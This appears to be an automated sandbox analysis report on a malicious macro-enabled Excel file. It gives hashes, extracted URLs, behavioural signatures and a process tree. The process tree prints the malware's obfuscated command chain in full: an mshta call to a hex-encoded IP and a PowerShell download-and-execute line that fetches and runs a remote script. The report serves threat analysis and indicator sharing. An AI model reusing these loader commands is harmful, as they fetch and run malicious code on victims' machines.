Analysis
-
max time kernel
16s -
max time network
42s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220113 -
submitted
20-01-2022 11:11
Behavioral task
behavioral1
Sample
43959768-251327.xlsm
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
43959768-251327.xlsm
Resource
win10v2004-en-20220113
General
-
Target
43959768-251327.xlsm
-
Size
115KB
-
MD5
d06323156f9db5ba51e46d368bb05b67
-
SHA1
d3dd5b0885b0a78ff0fbd02acbb95ad7f948fef8
-
SHA256
45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086
-
SHA512
8de223a9301b905b5839d021a205c78f96b25140bac40e874a6d60b42e55d5cc20e11ce0b9f89b5bcab3515f366a747f2c9dd6c5d806116df11f84010d7c7dec
Malware Config
Extracted
http://0x5cff39c3/sec/se1.html
Extracted
http://92.255.57.195/sec/se1.png
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3220 2416 cmd.exe 51 -
Blocklisted process makes network request 1 IoCs
flow pid Process 22 3968 mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
pid pid_target Process procid_target 4012 3968 WerFault.exe 62 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2416 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2416 EXCEL.EXE 2416 EXCEL.EXE 2416 EXCEL.EXE 2416 EXCEL.EXE 2416 EXCEL.EXE 2416 EXCEL.EXE 2416 EXCEL.EXE 2416 EXCEL.EXE 2416 EXCEL.EXE 2416 EXCEL.EXE 2416 EXCEL.EXE 2416 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2416 wrote to memory of 1084 2416 EXCEL.EXE 58 PID 2416 wrote to memory of 1084 2416 EXCEL.EXE 58 PID 2416 wrote to memory of 3220 2416 EXCEL.EXE 60 PID 2416 wrote to memory of 3220 2416 EXCEL.EXE 60 PID 3220 wrote to memory of 3968 3220 cmd.exe 62 PID 3220 wrote to memory of 3968 3220 cmd.exe 62
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\43959768-251327.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2416 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1084
-
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3220 -
C:\Windows\system32\mshta.exemshta http://0x5cff39c3/sec/se1.html3⤵
- Blocklisted process makes network request
PID:3968 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵PID:2428
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3968 -s 17244⤵
- Program crash
PID:4012
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow1⤵PID:1932
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 444 -p 3968 -ip 39681⤵PID:3928